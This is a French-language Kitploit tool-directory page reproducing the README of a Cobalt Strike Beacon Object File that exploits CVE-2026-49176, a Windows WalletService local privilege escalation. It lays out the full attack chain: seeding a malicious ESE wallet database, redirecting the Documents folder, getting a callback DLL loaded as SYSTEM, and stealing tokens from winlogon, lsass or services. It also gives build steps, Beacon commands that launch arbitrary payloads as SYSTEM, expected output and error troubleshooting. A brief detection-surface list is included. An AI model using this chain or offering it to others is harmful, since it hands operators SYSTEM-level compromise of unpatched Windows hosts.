Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — PoC autonome + BOF Cobalt Strike (commande SYSTEM sur session interactive) | Kitploit
Outils/GitHubGitHub/777erp/cve-2026-49176_bof
Escalade de PrivilègesExploitationPost-ExploitationRed TeamingDéveloppement de Charges Utiles
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — PoC autonome + BOF Cobalt Strike (commande SYSTEM sur session interactive)

Voir le dépôt
411il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-49176 Cobalt Strike BOF

Cobalt Strike Beacon Object File (BOF) pour l'élévation de privilèges locale via le WalletService Windows (CVE-2026-49176, corrigé en juillet 2026).

Depuis un Beacon à intégrité moyenne (utilisateur standard), cet outil prépare une base de données ESE Wallet malveillante, redirige Documents, déclenche WalletService, et exécute une ligne de commande spécifiée par l'appelant en tant que NT AUTHORITY\SYSTEM sur le bureau interactif.

Arborescence BOF uniquement.
PoC PowerShell autonome d'origine : DavidCarliez/CVE-2026-49176_LPE_POC. Même cause racine de vulnérabilité ; livraison et lancement du processus post-SYSTEM différents.


Disclaimer

Réservé à la recherche en sécurité autorisée, à l'éducation et à la validation défensive.


Vulnérabilité (partagée avec le PoC d'origine)

WalletService résout FOLDERID_Documents en empruntant l'identité de l'appelant, puis revient à LocalSystem avant d'ouvrir :

root@kitploit:~
<Documents>\Wallet\wallet.db

Un utilisateur standard peut initialiser cette base de données avec un rappel par défaut défini par l'utilisateur ESE (PATH\payload.dll!Export), pointer Documents vers un répertoire contrôlé, et appeler WinRT WalletManager.RequestStoreAsync / GetItemsAsync afin que le service charge la DLL en tant que SYSTEM.

Analyse : CVE-2026-49176 Exploit Development: WalletService to SYSTEM


BOF vs PoC d'origine — chaîne d'élévation de privilèges

Identique : comment l'exécution de code SYSTEM est obtenue

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

Différent : processus SYSTEM interactif après le rappel

WalletService utilise souvent un jeton SYSTEM filtré (pas de SeAssignPrimaryToken / SeImpersonate utilisable). CreateProcess* direct → 1314.

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Fonctionnalités

  • Commande Beacon unique pour n'importe quelle commande/fichier en tant que SYSTEM sur le bureau actif
  • Chaîne complète en un seul processus : préparation → initialisation → redirection → déclenchement → attente → restauration de Documents
  • Embarque wallet_callback.dll + shell_broker.exe via bof_pack("bbZ")
  • Spawn post-SYSTEM multi-stratégie + diagnostics result.txt
  • x64 uniquement

Exigences

ÉlémentExigence

Arborescence

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Compilation

root@kitploit:~
cd bof
build.bat
CommandeSortie
build.bat / build.bat bothDLL + broker + BOF x64
build.bat payloadDLL + broker uniquement
build.bat cleanSupprimer les artefacts
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Modifiez les chemins VCVARS64 dans build.bat si VS n'est pas installé par défaut.
Indicateurs critiques : /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (sécurité de l'éditeur de liens CS BOF).


Utilisation

Chargement

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Rechargez après chaque recompilation.)

Commandes

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • Pas de guillemets externes si le chemin ne contient pas d'espaces.
  • Menu optionnel : Beacon → CVE-2026-49176 → Run command as SYSTEM...

Préparation sur la cible

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Empaquetage

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Sortie attendue

Ligne de tâche

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Succès (illustratif)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= peut être winlogon, services, lsass, ou un chemin de broker.

Échecs courants

Documents est restauré même en cas d'échec lorsque la redirection a réussi.


Architecture

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

Surface de détection

  • Modification du dossier connu Documents
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL de rappel
  • WalletService chargeant une DLL accessible en écriture par l'utilisateur
  • API OpenProcess / jetons contre winlogon/lsass/services
  • Services éphémères CVE49176_*
  • CreateProcessAsUserW / CreateProcessWithTokenW vers des sessions interactives

Limitations

  • x64 uniquement ; WalletService non corrigé requis
  • L'API WinRT Wallet peut être indisponible/dépréciée sur certaines versions
  • Le répertoire de préparation n'est pas supprimé automatiquement
  • ESE/WinRT s'exécutent dans Beacon (risque de crash par rapport au PoC d'origine isolé par processus)

Liens connexes

LienDescription
DavidCarliez/CVE-2026-49176_LPE_POCPoC LPE autonome d'origine (PoC de recherche en amont)
AnalyseArticle de recherche original
Télécharger l’outil
ÉtapePoC d'origineCe BOF
Initialiser la base ESEwallet_ese_seed.exeIn-BOF Jet*A
Rediriger Documentsdocuments_path.exeIn-BOF SHGet/SetKnownFolderPath
Déclencher WalletPowerShell WinRTIn-BOF RoGetActivationFactory
DLL de rappelwallet_callback_shell.dllwallet_callback.dll
PoC d'origineCe BOF
Processus ciblecmd.exe codé en durLigne de commande fournie par l'opérateur
Méthode principaleService temporaire → shell_broker.exe → CreateProcessAsUserWVol de jeton depuis winlogon / services / lsass → spawn
RepliAucunSCM + cmd.exe /c "shell_broker.exe" "result.txt"
Beaconx64, intégrité moyenne (non élevée)
CibleWalletService vulnérable (antérieur au correctif de juillet 2026)
CSCobalt Strike 4.x avec prise en charge BOF
CompilationVS 2019/2022 C++ + SDK Windows 10 (esent.h, WinRT)
JournalSignification
JetAddColumn: -1003Problème de paramètre ESE
error=1314SYSTEM filtré ; nécessite vol de jeton / broker
STEAL_FAIL error=5Impossible d'ouvrir le processus/jeton cible
StartService error=32Violation de partage (atténuée via wrapper cmd)
detail=all_methodsToutes les stratégies post-SYSTEM ont échoué
Linker Unknown symbol '??_C@_...'Mauvais indicateurs de compilation BOF ; recompilez avec build.bat